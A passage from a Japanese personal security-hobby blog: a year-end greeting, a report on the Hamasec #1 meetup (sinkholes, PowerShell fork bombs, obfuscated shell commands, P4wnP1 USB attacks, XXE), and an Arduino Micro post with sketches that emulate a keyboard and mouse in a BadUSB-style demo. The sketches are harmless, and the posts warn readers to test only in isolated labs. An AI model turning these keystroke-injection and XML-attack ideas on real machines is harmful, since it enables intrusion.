Metasploitable2には、脆弱性たくさん含んだWebサービスも充実しているので(mutillidaeとか)、来年はそこらへんもやっていきたいですねー❤️


このブログって結構検索からきてる方が多くてどういう方が見てるのか分からないので再度言っておきますが、 エクスプロイトするときは自分のローカル環境で、できればインターネットから隔離した状態でやってくださいね!
Nessusとかでもうっかり自分の管轄以外のIPに対して調査してしまったらかなりやばいですからね><


〜ご挨拶〜
今年はたくさんの方にこのブログにお越しいただいてありがとうございました。
なかなか更新できない月もありますが、ゆるふわにやっていきますので来年もよろしくお願いいたします🌷
最後に、サムネ用に、先日お台場で買った雑貨を自慢して終わります笑
f:id:white-lily6u6:20171230235456j:plain
みなさん、良いお年を!!

元祖 濱せっく #1に参加してきました!

メリークリスマス!!約1ヶ月ぶりくらいの投稿です!
投稿していなくても毎日見にきていただいてるみなさま本当にありがとうございます❤️

2017年12月2日(土)に開催された、元祖 濱せっく #1に参加してきましたので、そのレポを書こうと思います⛵️
https://hamasec.connpass.com/event/70567/
(レポ書くの大分遅くなってしまいました汗)

今回も、技術的なことは控えめに
(どこまで書いていいのか分からないのと、メモしたことが間違ってたらアカンので)
感想メインで書いていきます🌷

今まで”出張版”として東京で3回開催されてきたようですが、
横浜で開催されるのは初!(だから元祖)ということで、とてもワクワクして行ってまいりました❤️

会場は、横浜にある、情報科学専門学校でした!
横浜駅に行ったのが初めてだったので、会場入る前からテンション上がっちゃいました笑

エレベータで上がって出ると、広い講義室の中に強そうな方々がたくさん…!!(110名ほど)
ここにいる(おそらく)全員がセキュリティ詳しかったり興味ある方々なのかと思うとどきどきしちゃいましたw
(大規模なイベントに参加するのはCODE BLUEやAVTOKYO以来・・・!)

受付を終えると、参加証・領収書代わりのレシートが…!
f:id:white-lily6u6:20171225002002j:plain:w400
素敵なアスキーアートですね!!
なんと、この時点からすでに濱せっくのオンラインCTFが始まっているようです!

しばらくすると、早速セッションが始まりました🌊⛵️
(大学の時講義を受けていたことを思い出しましたw)

※間違って記載してたり、ここ書かないで〜という部分がありましたら、即修正致しますので、ご指摘ください

1.「shinkholeのお話」 
シンクホール目的で取ったドメインwhoisで確認すると、
Creation dataが更新されておらず、自分が攻撃者のように見えてしまっているという話があって、そんなことあるんだ!!とびっくりしました⚡️

また、VirusTotalではマルウェアではないもの(Ratioが0のものなど)が結構あがっているとのこと!
秘密のものをあげてしまうと誰でも見れてしまうので、気をつけなきゃですね><

作られた2分後のマルウェアがあげられていたのもあったりして、
攻撃者も使っているんだな〜ということも話されていました!

VirusTotalは今まであまり見たことがなかったのですが、
監視していると色々なことが分かりそうで興味深いです🌷
これから見てみよっと!

2.「危険PowerShell芸はできるのか?」,「難読化シェル芸の紹介と耐 タンパー性の確保について」

fork爆弾(プロセスをいっぱい作ってシステム止める)をパワーシェルでやってみよう!という話がありました*
プロセスが2つに増えるのを永遠に繰り返していく動作をさせようとしたのですが、
パワーシェルは再帰呼び出し回数が決まっているらしく、なかなか難しいみたいです><
いやしかし・・・パワーシェルほんとになんでもできる。すごい。(感動)

後半は難読化シェルのお話ですが、ただのdateコマンドが
すごく複雑な、パッと見何をやっているのか全然分からないように書き換えることができたりして感動しました!✨

後半の後半で、すっごく面白いお話があったのですが、ここで紹介できないのが残念です><


3.「聞いた事はあるけど、実際には見た事がないハッカーツール」

Kali Linux NetHunter(NexusバイスAndroid用侵入テストプラットフォーム)や
P4wnP1(ラズパイゼロをベースにしたUSB攻撃プラットフォーム)を使って、
映画でやっているようなハッキングをやってみよう!というお話でした🌺

このブログの1つ前の記事でArduino micro使って簡易BadUSBやってみようという試みをしていて、
次の段階としてP4wnP1をやってみようかなぁとちょうど思っていたので、自分の中ですごくナウかったです!🍰

この講義の後別教室で、もっと近くで実際のハッキングを見せていただいたのですが、
P4wnP1をパソコンと接続しただけでWindows10のロック画面突破できてしまったり、
HID隠れチャネルBackDoor設定にして1度パソコンに繋げ、後は遠隔から好き放題やったり・・・
すごいと思うと同時に、USB接続はほんと気をつけなきゃなぁと感じました!

詳しくは→https://speakerdeck.com/01rabbit/mr-dot-rabbit-wen-itashi-haarukedo-shi-ji-nihajian-tashi-ganaihatukingugazietuto


4.「本当は怖いXML 実践編」

OWASP top 10(2017) に XXE(XML External Entity)がランクインされ、
一部界隈でざわざわしていたのを私も見ていました!!

DOCTYOE宣言の中にDTD(Document Type Definition XMLの構造を定義するもの)を記述することで、
XML Bomb(大量にENTITYを展開する)などでサーバに負荷をかけたり、
XML injectionを行ったり色々とできてしまいます⚡️

詳しくは下のリンクを見てくださいね。
うーん、外部参照、怖いです・・・

対策は、ユーザー入力でENTITYやDOCTYPEというタグが入っていないかを確認して弾けば良いぞということでした!🍮

詳しくは→https://docs.google.com/presentation/d/1kFThnBhO2XKrXu1U71jsL2KkJTOLGAdz0PquWNmAPHo/edit#slide=id.p



講演はここまでで、ここから別教室で体験コーナーに入っていきました💐

大画面に映し出されたMaltegoで盛り上がったり、BLEのIoTハッキングデモでライトの光が変わってきゃっきゃしたり、
P4wnP1すごーい!ってワイワイしたりしてました!🍬🍬

裏でCTFも開催されているので、楽しそうに解いてる方々もたくさん見かけました!❤️
私も強くなって来年はCTF挑戦してみるぞー!


この後は教室に戻って一人5分?10分?(うろ覚え)のLT大会が開催されました🌻
終了が近くになると、The Final Countdowが流れるので思わずクスッと笑ってしまいましたw

LTの感想も書いていきたかったのですが、
大分記事のボリュームが多くなってきてしまったので私の心の中に留めておきます...!><

全体通して、本当に楽しかったです...楽しかった思い出しかない...
こんな素敵なイベントに参加できてよかった!
次東京でやるときも、元祖#2が開催されるときも、予定が合う限り参加したいなぁと思いました!

運営・講演等された方々本当にありがとうございました><これからも応援しております!


↓今回こっそり雑談をつけてみました。声が出るので音量に注意してください!!
(ちょいちょい単語の使い方間違ってるのは気にしないでください...汗 今後直します!)

では良いクリスマスを!

Arduino Microで遊んでみた〜USBに注意〜

みなさんこんにちは!
すっっっごく久しぶりのブログ更新です🌷
前回から今まで何やってたんだよって感じですが、
セキュリティをやっていく上で、その基礎の部分であやふやなところが多すぎて、
サーバー構築やプログラミングの勉強をしてました💻✨
さくらのVPSを借りて、WordPressとかDockerの基礎(こういうものなんだ〜程度ですが) を学んだり、個人的にLaravelが苦手なので1から復習したり(今も復習途中)
・・・まぁこんな感じで、ブログに書くようなことはあまりやっていなかったので書けませんでした🌻
基礎が全くできていないので今後も勉強は続けていきますが、
モチベーションUP↑の為にも、ちょっと面白いことも合間にやっていこうと思います❤️

では・・・今回の本題へ⭐️

今回はこのコを使って遊んでみました❤️
f:id:white-lily6u6:20171120232919j:plain:w400
うわ〜っ、めちゃめちゃ可愛いですね💓
このコは、Arduino Micro といいます🍦 (とっても小さいよ!)

Microちゃんは一般的なArduino UNOなどのようにArduino IDEでプログラムを書き込めるのですが、パソコンにUSB接続すると、プログラムによってマウスやキーボードのような動きを実現することができるのです✨
Arduino Leonardoでも同じことができますが、小さい方がUSB感あるのでMicroにしました笑)
プログラミング等やったことない方でも簡単にできますよ❗️


早速色々と試していって、USBって怖いんだよってことを見ていきます❤️

キーボードでの入力

まずは、Arduino Microをパソコンに挿したら、
ツイッターで自動的に呟いてくれるというのをやってみました💓
このギャルアカウントは過去に調査用に作ってたものなので謎なツイートあっても気にしないでください笑

youtu.be

一切パソコンに触れずに呟くことができました! プログラムは以下です🍧

#include "Keyboard.h"
void setup() {
  Keyboard.begin();
  delay(3000);
  Keyboard.println("I LOVE EXCITING THINGS...");
  delay(1000);
  Keyboard.write(KEY_RETURN);
  Keyboard.print("I LIKE THE WAY I AM.");
  delay(1000);
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press(KEY_RETURN);
  delay(1000);
  Keyboard.releaseAll();
}

void loop() {
}

Keyboard.writeがキーを1度押すという関数なのですが、
Keyboard.pressはキーを押しっぱなしで、Keyboard.releaseAll();で解放してあげます🌺

「眠いなー」とか「お腹空いたー」とかよく呟きたくなる内容をMicroに書き込んでおいて、挿すだけで呟いてくれたら楽ですね(?)

マウスの操作

お次は、マウスを動かしていきますよ🍰

youtu.be
Microをぶすっと挿すと自動的にギザギザと描いてくれます!

・・・今、しょぼいって思いましたね!?(⌒▽⌒)笑
実はもっと関数とかでかっこいい形を描こうと思ったのですが、
Arduino microになぜか書き込みができなくなってしまって、
それを直してからとなるといつになったらブログを更新できるか分からないので、
ちょっとしょぼい感じのデモになりましたw

コードは以下です!

#include "Mouse.h"
void setup(){
  Mouse.begin();
  delay(3000);
  Mouse.press(MOUSE_LEFT);
}

int i=0;
void loop(){
    delay(1000);
    i++;
    Mouse.move(10,10);
    delay(1000);
    Mouse.move(10,-10);
    delay(1000);
    Mouse.move(10,10);
    delay(1000);
    Mouse.move(10,-10);

    if(i == 5){
      Mouse.release(MOUSE_LEFT);
      exit(1);
    }
}

まとめ・余談

今回は、USBのファームウェアを書き換える、BadUSBの擬似体験みたいな感じになりました💐
Windowsで「ファイル名指定して実行する」で、ブラウザ立ち上げてURL打ち込んだり、コマンドプロンプトとかで色々やってみたいので、
近いうちに試してみますー♪
(Mac OSだとホストと同じOSで誤作動が怖いので...!)
まずは、書き込みできるように直さないと...笑

今回のデモだと、なかなかUSBの怖さが伝わりづらいと思いますが(笑)、
何でもやられ放題なので、離席するときは画面ロックは忘れないようにしましょ⚡️


あと、この記事を見て、「うわ〜っこんな簡単にできるんだ!やろー!」と思われた方!
もしいらっしゃったら、とっっても嬉しいんですが、
プログラムを実行するときは十分に注意してくださいとだけ言っておきます!
私が最初触ったとき、何も考えずにloopの中に文字列を入力する行を入れたのですが、
ものすごいスピードで無限に文字列が入力され、
アプリケーションも全然落とせないわMacもどんどん熱くなるわでめちゃめちゃ焦りましたw(あほ)
普通のプログラミングで無限ループの中に出力関数書いても、Ctrl+Cで抜けれるから危機感がなかったんですよね💧
文字列無限入力くらいならかわいいものですが キーボードとマウスでできるものは何でもできてしまうので(つまりほぼ全部)
大切なデータ消したり、パソコン壊したりしないようにだけお気をつけくださいね><⚡️
Arduinoの不調も、私がやった限りでは、わりと、いやかなりありましたので、注意!)